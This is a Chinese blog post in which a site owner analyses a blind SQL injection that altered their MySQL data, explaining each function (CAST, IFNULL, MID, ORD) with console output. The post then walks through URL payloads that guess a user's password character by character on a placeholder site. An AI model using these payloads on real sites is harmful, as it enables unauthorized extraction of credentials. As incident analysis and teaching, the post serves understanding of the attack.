前些日子数据库被入侵,文章的阅读数都被纂改了,还好及时发现并做好备份。查一下 MySQL 语句记录,发现这么原来是这么一句 SQL 在捣鬼:
1 |
UPDATE table SET views = '1' WHERE id = -2441 OR (ORD(MID(( SELECT IFNULL( CAST (FirstName AS CHAR ),0x20) FROM user ORDER BY id LIMIT 1,1),2,1))>112)# |
PS:user 这个表是数据库里一个以前测试用的表,表的结构也写到博文里面,暴露了字段。
这句 SQL 为什么能那么厉害呢?我们接下来分析一下。
1. 首先是 CAST(FirstName AS CHAR) 这个子句。MySQL 的 CAST() 函数可用来获取一个类型的值,并产生另一个类型的值。具体的使用可以参看MySQL CAST与CONVERT 函数的用法 这篇文章。我们执行一下,看看结果是什么:
01 |
mysql> SELECT CAST (FirstName AS CHAR ) FROM user ; |
02 |
+ -------------------------+ |
03 |
| CAST (FirstName AS CHAR ) | |
04 |
+ -------------------------+ |
05 |
| Gonn | |
06 |
| Mio | |
07 |
| Google | |
08 |
| yale | |
09 |
+ -------------------------+ |
10 |
4 rows in set |
就是将 FirstName 这个字段全部转成 CHAR 类型。
2. 接下来我们再看 IFNULL(CAST(FirstName AS CHAR),0x20) 这个子句的作用。IFNULL 用法:IFNULL(expr1,expr2),如果 expr1 不是 NULL,IFNULL() 返回 expr1,否则它返回 expr2。具体可以参看《MySQL IFNULL()函数用法》。
执行一下:
01 |
mysql> SELECT IFNULL( CAST (FirstName AS CHAR ),0x20) FROM user ; |
02 |
+ --------------------------------------+ |
03 |
| IFNULL( CAST (FirstName AS CHAR ),0x20) | |
04 |
+ --------------------------------------+ |
05 |
| Gonn | |
06 |
| Mio | |
07 |
| Google | |
08 |
| yale | |
09 |
+ --------------------------------------+ |
10 |
4 rows in set |
虽然看起来结果没啥不同,但是,它起到了一个作用。假设 CAST 转换成 CHAR 失败,它就会返回 0x20 这个值,为后面的 ORD 提供作用。
3. 接下来再看 MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1) 这个子句。MID() 这个函数就是截取字符串用的,具体可以看看《MySQL MID()函数用法》这个。
1 |
mysql> SELECT MID(( SELECT IFNULL( CAST (FirstName AS CHAR ),0x20) FROM user ORDER BY id LIMIT 1,1),2,1); |
2 |
+ ----------------------------------------------------------------------------------------+ |
3 |
| MID(( SELECT IFNULL( CAST (FirstName AS CHAR ),0x20) FROM user ORDER BY id LIMIT 1,1),2,1) | |
4 |
+ ----------------------------------------------------------------------------------------+ |
5 |
| i | |
6 |
+ ----------------------------------------------------------------------------------------+ |
7 |
1 row in set |
就得到一个字母 i。
4. 关键的子句来了:ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1))。ORD() 函数返回字符串第一个字符的 ASCII 值, 《《MySQL ORD()函数用法》》。
1 |
mysql> SELECT ORD(MID(( SELECT IFNULL( CAST (FirstName AS CHAR ),0x20) FROM user ORDER BY id LIMIT 1,1),2,1)); |
2 |
+ ---------------------------------------------------------------------------------------------+ |
3 |
| ORD(MID(( SELECT IFNULL( CAST (FirstName AS CHAR ),0x20) FROM user ORDER BY id LIMIT 1,1),2,1)) | |
4 |
+ ---------------------------------------------------------------------------------------------+ |
5 |
| 105 | |
6 |
+ ---------------------------------------------------------------------------------------------+ |
7 |
1 row in set |
就是 i 的 ASCII 码是105.
如果是失败,返回 0x20 这种情况:
1 |
mysql> SELECT ORD( '0x20' ); |
2 |
+ -------------+ |
3 |
| ORD( '0x20' ) | |
4 |
+ -------------+ |
5 |
| 48 | |
6 |
+ -------------+ |
7 |
1 row in set |
两种情况,在 ASCII 码中都要比 112 前,就是下面的 hack 语句是可以执行的。
1 |
UPDATE table SET views = '1' WHERE id = -2441 OR (ORD(MID(( SELECT IFNULL( CAST (FirstName AS CHAR ),0x20) FROM nowamagic.`tb2` ORDER BY id LIMIT 1,1),2,1))>112)# |
在 MySQL 中内置了很多函数,利用它们,即使在没有联合查询功能的老版本 MySQL 上也可以做一些意想不到的操作。假设网站存在于http://www.nm.net/,我们想知道用户ID等于10的用户的密码,那么首先进行如下请求:
1 |
http: //www.nm.net/index.php?id=10 and length(password)=12# |
我们通过 length() 函数以及是否正确返回正常页面来确定用户密码的长度,这里我们猜解的是12位,注意数字后要有一个#号。接下来用mid()和char()暴力猜解口令的每一个字符,如果猜对了则页面返回正常:
1 |
http: //www.nm.net/index.php?id=10 and mid(password,1,1)=char(0x60)# |
Mid()函数原型是“Mid(str,pos,len)”,也可以用substring()函数。Char()函数的参数是ASCII值,在0~255之间,一个遍历过去就可以完成破解。
另外还可以用between()函数先判断这个字符是数字还是字母,缩小范围,加快暴力破解的速度。例如要判断字符是否是小写字母还可以用如下请求:
1 |
http: //www.nm.net/index.php?id=10 and (mid(password,1,1)) between char(0x61) and char(0x7A)# |
除了char()函数,还可以用ord函数来进行猜解。Ord函数可以得到字符的ASCII值,所以它也能实现类似的功能:
1 |
http: //www.nm.net/index.php?id=10 and ord(mid(password,1,1))=0x6D# |
用ord函数的另一个好处就是可以使用大于小于这种运算符来确定字符的范围:
1 |
http: //www.nm.net/index.php?id=10 and ord(mid(password,1,1))>0x41# |
就这样慢慢一步步手工猜解注入。